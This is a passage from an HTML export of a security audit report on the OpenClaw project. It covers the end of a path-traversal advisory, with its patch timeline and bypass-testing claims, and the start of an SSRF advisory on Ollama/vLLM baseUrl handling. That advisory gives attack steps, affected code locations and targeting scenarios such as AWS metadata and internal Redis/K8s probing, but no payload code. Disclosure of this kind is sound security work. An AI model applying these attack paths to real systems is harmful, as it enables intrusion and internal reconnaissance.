0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Detection Methods</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d68111ca76cd87c51b" data-id="3230f0c5b87c80d68111ca76cd87c51b"><span><div id="3230f0c5b87c80d68111ca76cd87c51b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d68111ca76cd87c51b" title="Log-based Detection"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Log-based Detection</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800fa4cdc0ae1cd8c59f" data-id="3230f0c5b87c800fa4cdc0ae1cd8c59f"><span><div id="3230f0c5b87c800fa4cdc0ae1cd8c59f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800fa4cdc0ae1cd8c59f" title="Runtime Monitoring"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Runtime Monitoring</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b3849ad76afe34e385" data-id="3230f0c5b87c80b3849ad76afe34e385"><span><div id="3230f0c5b87c80b3849ad76afe34e385" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b3849ad76afe34e385" title="File Access Monitoring"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">File Access Monitoring</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8009971dcb27f84a0ab7" data-id="3230f0c5b87c8009971dcb27f84a0ab7"><span><div id="3230f0c5b87c8009971dcb27f84a0ab7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8009971dcb27f84a0ab7" title="Exploitation Complexity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Exploitation Complexity</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f0a05ec4cb4941f139"><li><b>Attack Complexity</b>: Low</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e786f1e8d4683de6ea"><li><b>Required Skills</b>: Basic understanding of path traversal</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8090baa1c2a0a9c67d0f"><li><b>Automation</b>: Fully automatable with provided PoC script</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a79d84ea9ebea28873"><li><b>Detection Risk</b>: Medium (suspicious patterns in logs)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80fc805ecddaef2a1c75" data-id="3230f0c5b87c80fc805ecddaef2a1c75"><span><div id="3230f0c5b87c80fc805ecddaef2a1c75" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80fc805ecddaef2a1c75" title="Timeline"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Timeline</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c805d8cdae71e49eeb28e"><li><b>2024-03</b>: Initial path traversal vulnerability reported</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8030a957d4a2bfa5dad5"><li><b>2024-06</b>: First patch applied (string replacement)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c803290f3c9527ae57a89"><li><b>2024-09</b>: Second patch applied (path normalization)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80249462d312e98ca6d0"><li><b>2025-12</b>: Third patch applied (realpath checking)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8022b533dca428bb4c12"><li><b>2026-03-11</b>: 30 bypass vectors discovered during systematic testing</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80eea5eacf0acb179a17"><li><b>2026-03-11</b>: PoC created and verified (60% bypass rate on weak patches)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8085843efdb3150e7753"><li><b>2026-03-11</b>: GitHub Security Advisory created</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d29fe1fbf3a610c6db" data-id="3230f0c5b87c80d29fe1fbf3a610c6db"><span><div id="3230f0c5b87c80d29fe1fbf3a610c6db" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d29fe1fbf3a610c6db" title="References"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">References</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8090bb8fd1c36243909f"><li>PoC Script: <code class="notion-inline-code">poc_NEW2_media_parse_bypass.js</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80c6a20bc765b12a2a5e"><li>Comprehensive Testing Report: <code class="notion-inline-code">VERIFICATION_NEW2_MEDIA_PARSE_BYPASS.md</code> (85 pages)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c805fa1b2edc9ceb464a5"><li>Related: GHSA-005 (agentDir Path Traversal - similar root cause)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e09262c9edf968d280"><li>OWASP Path Traversal: <a class="notion-link" href="https://owasp.org/www-community/attacks/Path_Traversal" target="_blank" rel="noopener noreferrer">https://owasp.org/www-community/attacks/Path_Traversal</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80d1a2f8cf31ed6a45eb"><li>CWE-22: <a class="notion-link" href="https://cwe.mitre.org/data/definitions/22.html" target="_blank" rel="noopener noreferrer">https://cwe.mitre.org/data/definitions/22.html</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8024a69ecd6260b52ecb"><li>ZIP Slip Vulnerability: <a class="notion-link" href="https://snyk.io/research/zip-slip-vulnerability" target="_blank" rel="noopener noreferrer">https://snyk.io/research/zip-slip-vulnerability</a></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80e88bfaede8a376ee00" data-id="3230f0c5b87c80e88bfaede8a376ee00"><span><div id="3230f0c5b87c80e88bfaede8a376ee00" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e88bfaede8a376ee00" title="Credits"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Credits</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80c594eef06aa39c2a5e">Discovered during systematic bypass testing following deep analysis of 255 historical OpenClaw advisories. 30 distinct bypass payloads identified and verified across multiple patch levels.</div><hr class="notion-hr notion-block-3230f0c5b87c80a3975bf309e79c8957"/><div class="notion-text notion-block-3230f0c5b87c801cb9c2cac0eb5d06fc"><b>Report Classification</b>: Confirmed Exploitable (Multiple Variants)
<b>Verification Status</b>: ✅ 30 Payloads Tested, 60% Bypass Rate on Weak Patches
<b>Priority</b>: Medium - Requires comprehensive patch review
<b>Patch Recommendation</b>: Implement all 4 mitigations (containment check + validation + symlink blocking + type allowlist)</div><hr class="notion-hr notion-block-3230f0c5b87c8009bbb7da7e319f90f5"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80e5b0ffc44b919333f9" data-id="3230f0c5b87c80e5b0ffc44b919333f9"><span><div id="3230f0c5b87c80e5b0ffc44b919333f9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e5b0ffc44b919333f9" title="GHSA-009: Ollama/vLLM Model Discovery and Stream SSRF"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-009: Ollama/vLLM Model Discovery and Stream SSRF</span></span></h3><blockquote class="notion-quote notion-block-3230f0c5b87c8014bb12d74282a33af6"><div><b>严重级别</b>: Medium  |  <b>类型</b>: SSRF  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8019b746cca63573e6c9" data-id="3230f0c5b87c8019b746cca63573e6c9"><span><div id="3230f0c5b87c8019b746cca63573e6c9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8019b746cca63573e6c9" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8030879ed07cdd8e6c9d">Multiple Ollama and vLLM model-related components accept user-controlled <code class="notion-inline-code">baseUrl</code> parameters and perform unprotected <code class="notion-inline-code">fetch()</code> calls, enabling Server-Side Request Forgery (SSRF) attacks for internal service discovery and network mapping.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c98006e54484f6c223" data-id="3230f0c5b87c80c98006e54484f6c223"><span><div id="3230f0c5b87c80c98006e54484f6c223" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c98006e54484f6c223" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c804caaa8f736b3387cfa"><b>Medium</b> - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N (6.8)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d7aa35e479516dd11d" data-id="3230f0c5b87c80d7aa35e479516dd11d"><span><div id="3230f0c5b87c80d7aa35e479516dd11d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d7aa35e479516dd11d" title="Affected Components"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Components</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c808b9bf2d60bd08c4111"><li><b>Ollama Model Discovery</b>: <code class="notion-inline-code">models-config.providers.discovery.ts:87,123</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c809db8d7cddead0d637a"><li><b>vLLM Model Discovery</b>: <code class="notion-inline-code">models-config.providers.discovery.ts:187</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80ffab3fe6251e0ee2e8"><li><b>Ollama Stream</b>: <code class="notion-inline-code">ollama-stream.ts:482</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c805db9aeceddf3218aa1" data-id="3230f0c5b87c805db9aeceddf3218aa1"><span><div id="3230f0c5b87c805db9aeceddf3218aa1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c805db9aeceddf3218aa1" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80529ce9f05408ba44f0" data-id="3230f0c5b87c80529ce9f05408ba44f0"><span><div id="3230f0c5b87c80529ce9f05408ba44f0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80529ce9f05408ba44f0" title="Root Cause"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Root Cause</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80048891c061245f4c69">The Ollama and vLLM provider components accept <code class="notion-inline-code">baseUrl</code> parameters from user configuration that are directly used in <code class="notion-inline-code">fetch()</code> calls without SSRF validation:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ebbb42dd3f63ebaa98" data-id="3230f0c5b87c80ebbb42dd3f63ebaa98"><span><div id="3230f0c5b87c80ebbb42dd3f63ebaa98" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ebbb42dd3f63ebaa98" title="Attack Vector"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Vector</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80bb8a22d96a7bc0f834" style="list-style-type:decimal"><li>Attacker with admin/operator privileges modifies model provider configuration via <code class="notion-inline-code">config.patch</code> API</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80278a18fd164c4c51d5" style="list-style-type:decimal"><li>Sets malicious <code class="notion-inline-code">baseUrl</code> pointing to internal services or attacker-controlled servers</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80829edef4ae8618e861" style="list-style-type:decimal"><li>Triggers model discovery (automatic on startup) or model inference</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8068a3feecf10c778240" style="list-style-type:decimal"><li>Application sends GET/POST requests to attacker-specified URLs</li></ol><ol start="5" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80e5a191f7927dc02f56" style="list-style-type:decimal"><li>No API keys leaked (unlike GHSA-007), but enables network reconnaissance</li></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b59b95ce22da578733" data-id="3230f0c5b87c80b59b95ce22da578733"><span><div id="3230f0c5b87c80b59b95ce22da578733" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b59b95ce22da578733" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8019bcc8c15771228481"><b>复现截图 - Ollama 模型发现 SSRF：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80bb80f7e9455496aea3"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa009_step1_ollama.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80bb-80f7-e9455496aea3" alt="Ollama" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80f28dbecaffd7e5ace8">Ollama</div><div class="notion-text notion-block-3230f0c5b87c8045aa1ec76b96111108"><b>复现截图 - vLLM 模型发现 SSRF：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80bf8ac3e3a879e60754"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa009_step2_vllm.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80bf-8ac3-e3a879e60754" alt="vLLM" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c801fa5b5c5936accf410">vLLM</div><div class="notion-text notion-block-3230f0c5b87c80c19158d689614ed4b3"><b>复现截图 - Ollama Stream SSRF（含聊天内容泄露）：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80afac9beb9e269b78a3"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa009_step3_stream.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-80af-ac9b-eb9e269b78a3" alt="Stream" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c8064b239c2fed48a65ce">Stream</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802f96b7cbbc46d0dd69" data-id="3230f0c5b87c802f96b7cbbc46d0dd69"><span><div id="3230f0c5b87c802f96b7cbbc46d0dd69" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802f96b7cbbc46d0dd69" title="PoC Script"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">PoC Script</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80febb3ef277a0043f33"><b>File</b>: <code class="notion-inline-code">poc_NEW5_7_8_ollama_vllm_ssrf.js</code></div><div class="notion-text notion-block-3230f0c5b87c8012b728f914a649f69d">The PoC demonstrates:</div><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807cbe3ddc2940306915"><li>Ollama Model Discovery SSRF (GET request)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8052b449c513cd1f8cb8"><li>vLLM Model Discovery SSRF (GET request)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80ee92cfe935e280d613"><li>Ollama Stream SSRF (POST request with model inference data)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c802c9bc3c97958cb11a4"><li>AWS IMDS targeting scenario</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a6a607e2bd378a3d1c"><li>Internal service probing (Redis, K8s API)</li></ul><div class="notion-text notion-block-3230f0c5b87c801db85de7f87afcf27e"><b>Verification Results</b>:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80129e27d41b2ba02f1f" data-id="3230f0c5b87c80129e27d41b2ba02f1f"><span><div id="3230f0c5b87c80129e27d41b2ba02f1f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80129e27d41b2ba02f1f" title="Manual Reproduction Steps"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Manual Reproduction Steps</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80e3b98def731a7ec998"><b>Step 1: Modify Model Configuration</b></div><div class="notion-text notion-block-3230f0c5b87c80afb200f3167261ad38"><b>Step 2: Trigger Model Discovery (Automatic)</b></div><div class="notion-text notion-block-3230f0c5b87c80f3aa6dfb73546b17a7"><b>Step 3: Capture on Attacker Server</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8066a898ef965c1c14c0" data-id="3230f0c5b87c8066a898ef965c1c14c0"><span><div id="3230f0c5b87c8066a898ef965c1c14c0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8066a898ef965c1c14c0" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80269198c6d377f410fd" data-id="3230f0c5b87c80269198c6d377f410fd"><span><div id="3230f0c5b87c80269198c6d377f410fd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80269198c6d377f410fd" title="1. Internal Service Discovery"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 